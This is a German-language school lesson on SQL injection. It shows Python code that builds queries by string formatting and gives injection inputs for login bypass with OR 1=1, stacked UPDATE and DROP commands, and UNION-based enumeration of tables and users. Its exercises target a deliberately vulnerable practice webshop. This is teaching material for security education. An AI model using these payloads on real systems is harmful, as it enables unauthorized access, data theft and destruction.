SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke im Zusammenhang mit SQL-Datenbanken, die durch mangelnde Überprüfung von Benutzereingaben entsteht. Die Angreifer:in versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Ziele können sein, Daten auszuspähen, im eigenen Sinne zu verändern, die Kontrolle über den Server zu erhalten oder einfach grösstmöglichen Schaden anzurichten.
SQL-Injections sind dann möglich, wenn Daten wie beispielsweise Benutzereingaben direkt an die Datenbank weitergeleitet und von dieser interpretiert und direkt ausgeführt werden. 1
Doch wann werden Benutzereingaben an die Datenbank geschickt? Nehmen wir als Beispiel die SBB-Website für die Zugverbindungen. Eine Benutzer:in sucht nach einem Startort und Zielort. Bereits während der Benutzereingabe werden mögliche Bahnhöfe angezeigt.
Mögliche Standorte, die mit Ber beginnen, müssen während der Eingabe zuerst gesucht werden. Diese Suchanfrage wird über die URL als GET
-Request mit dem Query-Parameter match=ber
an den SBB Autocomplete Server geschickt:
https://sbb.ch/bin/sbb/timetable/autocomplete?match=ber
\___/ \____/ \_______________________/ \________/
| | | |
Schema Host Pfad Query
Auf dem Server läuft das entsprechende Autocomplete-Programm, welches nun eine SQL-Abfrage ausführt:
SELECT name FROM train_stations WHERE location ILIKE 'ber%';
Da der Query-Parameter match
bei jeder Anfrage anders ist, muss die SQL-Abfrage dynamisch erzeugt werden.
# normalerweise kommt der Request vom Browser
request = { 'args': { 'match': 'ber' } }
location = request['args'].get('match')
sql = f"SELECT name FROM train_stations WHERE location ILIKE '{location}%';"
print(sql)
Die SQL-Injection Schwachstelle befindet sich in der Art des Zusammensetzens der SQL-Abfrage.
Mit folgendem Code kann eine SQL-Abfrage generiert werden. Es soll nur der match
-Parameter angepasst werden (aktuell: EF
)
request = { "args": { "match": "EF" } }
match = request['args'].get('match')
sql = f"""
SELECT *
FROM comics
WHERE title ILIKE '%{match}%';
"""
print(sql)
-
Probieren Sie einige Werte für
match
aus und führen Sie die Abfrage auf 👉 xkcd aus. -
Was passiert, wenn folgende Eingaben verwendet werden?
-
data
-
data';--
-
data%'
-
data%' ORDER BY title asc; --
-
data%' OR 1=1;--
-
Konzept der SQL Injection
Die Hacker:in versucht über ein Eingabefeld (oder direkt als URL-Parameter) SQL Steuerzeichen und -Befehle an die Applikation zu senden. Wenn in der Applikation mit den Eingabedaten direkt eine SQL-Abfrage zusammengesetzt wird, lässt sich damit die Abfrage verändern:
sql = f"SELECT name FROM train_stations WHERE location ILIKE '{location}%';"
Sortieren
ber' ORDER BY location DESC;--
SELECT * FROM train_stations
WHERE location ILIKE 'ber'
ORDER BY location DESC;--;
Durch das Hochkomma '
zu Beginn der Eingabe wird der Suchtext im SQL-Befehl abgeschlossen. Somit können im Anschluss eigene SQL Befehle hinzugefügt werden.
Mit einem Semikolon ;
wird die Abfrage abgeschlossen und der nachfolgenden SQL-Code wird mit --
auskommentiert. Somit haben wir es in eigenen Händen, dass ein korrektes SQL Query entsteht.
Durch absichtliche Falsch-Eingaben kann schnell herausgefunden werden, ob eine Eingabe direkt an die Datenbank weitergegeben wurde und das Eingabefehld somit für eine SQL-Injection anfällig ist.
Webshop
Tipp
Falls nichts angezeigt wird (weil jemand alles gelöscht hat): Ganz unten auf der Seite hat es einen roten Knopf "Recreate Tables", welcher den ursprünglichen Zustand wiederherstellt.
-
welche Eingabefelder sind offensichtlich nicht gegen SQL-Injection geschützt? (Es gibt also eine Fehlermeldung direkt auf der Website)
-
versuchen Sie über das Eingabefeld die Kaffee-Sorten nach der Kaffee-Mischung (blend_name) aufsteigend und absteigend zu sortieren.
Immer Wahr
Ein weiterer Trick bei der SQL-Injection ist das Einfügen von immer wahren Bedingungen. Dies wird dann verwendet, wenn eine Filter-Funktion umgangen werden soll.
Beispiel: Eine Webseite möchte dem eingeloggten Benutzer alle über Ihn gespeicherten Informationen anzeigen. Dazu wird seine Mail-Adresse in die Variable $email gespeichert und folgende Abfrage zusammengestellt:
Was passiert, wenn nun als email
die Eingabe ' OR 1=1;--
verwendet wird?
Template
email = "reto@gymnasium.ch"
sql = f"SELECT * FROM students WHERE email = '{email}'"
print(sql)
Eingabe
' OR 1=1;--
SQL-Abfrage
SELECT * FROM students WHERE email = '' OR 1=1;--'
Obwohl email = ''
falsch ist, wird die Bedingung 1=1
immer wahr sein. Somit werden alle Datensätze zurückgegeben.
Webshop
-
Versuchen Sie sich einzuloggen, ohne dabei einen Benutzername oder ein Passwort zu verwenden.
-
Einloggen hat funktioniert, nur leider hat dieser Benutzer keine Rechte. Da Sie gestern Abend im Pub zufällig ein Gespräch mit der Entwickler:in des Webshops gehört haben, wissen Sie, dass es einen Admin mit der E-Mail
admin@mail.ch
und eine Tabellenspalteemail
geben muss. Loggen Sie sich ein und löschen Sie ein paar Kaffee-Sorten.
Trick: mehrere Befehle
Ein weiteres Prinzip ist die Verwendung von mehreren SQL-Befehlen. Gewisse Datenbanksysteme führen mehrere durch Semikolons ;
voneinander getrennte Befehle direkt nacheinander aus. Dies ist dann nützlich, wenn Einträge geändert, gelöscht oder hinzugefügt werden sollen.
Template
email = "reto@gymnasium.ch"
sql = f"SELECT * FROM students WHERE email = '{email}'"
print(sql)
Eingabe
'; UPDATE students SET grade=6 WHERE id=13; --`
SQL-Abfrage
SELECT * FROM students
WHERE email = '';
UPDATE students
SET grade=6
WHERE id=13; --';
Mit dieser Eingabe wird zuerst der von der Applikation vorgegebene Befehl korrekt abgeschlossen und dann die Note des Schülers mit der ID 13 auf eine 6 gesetzt.
Normalerweise sind einem Angreifer die Details über die Datenbank, welche hier gegeben sind (bspw. die Spaltennamen) nicht bekannt und müssen zuerst herausgefunden werden. Mehr dazu im nächsten Abschnitt.
-
Ändern Sie die Preise aller Kaffee-Sorten auf 0 Franken.
-
Ändern Sie die Preise einer ausgewählten Kaffee-Sorte.
-
Löschen Sie auf der Datenbank die Tabelle
coffee
-
Löschen Sie die ganze Datenbank
hfr_hacksql
-
Versuchen Sie dem test-Benutzer mit der E-Mail adresse
test@mail.ch
administrator-Rechte zu geben. Dazu muss das Feldrole
auf den Wertadmin
gesetzt werden.
Mehrere Abfragen kombinieren: UNION
Oftmals weiss man nicht im Voraus, wie das Schema der Datenbank aussieht (bspw. wie die Tabellen heissen und welche Spalten sie enthalten). Deshalb muss dies oft in einem ersten Schritt herausgefunden werden. Doch die einzige Möglichkeit um die Resultate anzuzeigen, ist das mit der Eingabe verbundene Anzeige-Elemente - bei der Coffee-Shop Webseite also die Tabelle unterhalb vom Filter.
Sollen Abfragen miteinander kombiniert werden, so müssen die Resultate der beiden SELECT
Queries also genau gleich viele Spalten aufweisen.
id | name | land | essen |
---|---|---|---|
1 | Litty Feuerwehr | Schweden | Heisse Schokolade |
2 | Crazy Lego Dude | Österreich | Spaghetti |
3 | Elon Marsk | USA | Lasagne |
id | name | lieblingsfutter |
---|---|---|
1 | Fluffy | Knochen |
2 | Whiskers | Fisch |
3 | Spike | Äpfel |
SELECT id, name, essen
FROM legodudes
UNION
SELECT id, name, lieblingsfutter
FROM haustiere;
id | name | essen |
---|---|---|
1 | Fluffy | Knochen |
1 | Litty Feuerwehr | Heisse Schokolade |
2 | Whiskers | Fisch |
2 | Crazy Lego Dude | Spaghetti |
3 | Elon Marsk | Lasagne |
3 | Spike | Äpfel |
Sollen nun alle Spalten von den legodudes angezeigt werden, muss auch die Abfrage der Tabelle haustiere 4 Spalten zurückgeben:
SELECT id, name, land, essen
FROM legodudes
UNION
SELECT id, name, NULL, lieblingsfutter
FROM haustiere;
id | name | land | essen |
---|---|---|---|
1 | Fluffy | Knochen | |
1 | Litty Feuerwehr | Schweden | Heisse Schokolade |
2 | Whiskers | Fisch | |
2 | Crazy Lego Dude | Österreich | Spaghetti |
3 | Spike | Äpfel | |
3 | Elon Marsk | USA | Lasagne |
Wie viele Spalten hat eine Tabelle?
Um herauszufinden, wie viele Spalten eine abgefragte Tabelle hat, kann Schrittweise nach einer Spalte sortiert werden, wobei der Spaltennamen nicht bekannt sein muss, sondern auch ORDER BY 1
für das sortieren nach der ersten Spalte verwendet werden kann. Sobald eine Fehlermeldung erscheint, ist die Anzahl Spalten bekannt.
Wie viele Spalten hat die gefilterte Kaffee-Tabelle? Finden Sie dies heraus, indem Sie folgende Eingabe verwenden und anpassen:
' ORDER BY 1;--
Mit diesen Werkzeugen lassen sich nun auch bspw. alle User inkl. deren Passwörter herausfinden!
-
Geben Sie in Kombination mit dem
UNION
Befehl eine einzelne Zeile1,2,3,4,5,6,7
aus.TippÄndern Sie Ihre Eingabe so ab, dass keine Kaffee-Resultate angezeigt werden.
-
Zeigen Sie in Kombination mit dem
UNION
Befehl die Datenbankversion und den Datenbanknamen an. -
Welche Tabellen gibt es auf dieser Datenbank? Welche Spalten gibt es in einer Tabelle?
TippIn MySql können die Namen aller Tabellen in der Datenbank 'test_db' mit folgendem Query abgefragt werden, bzw. die Spalten der Tabelle 'test_table':
Alle Tabellen einer Datenbank
SELECT table_name
FROM information_schema.tables
WHERE table_schema='database-name';Spalten der Tabellen einer Datenbank
- MySQL
- PSQL
SELECT table_name, column_name
FROM information_schema.columns
WHERE table_schema='database-name';SELECT table_name, column_name
FROM information_schema.columns
WHERE table_catalog='database-name'
AND table_schema='public';In PSQL gibt es pro Datenbank mehrere Schemas. Mit
table_schema
kann das Schema angegeben werden. Standardmässig wird das Schemapublic
verwendet. -
Es gibt eine Tabelle mit allen Benutzer - zeigen Sie alle Informationen der Benutzer an und loggen Sie sich anschliessend ein.
SQL Injection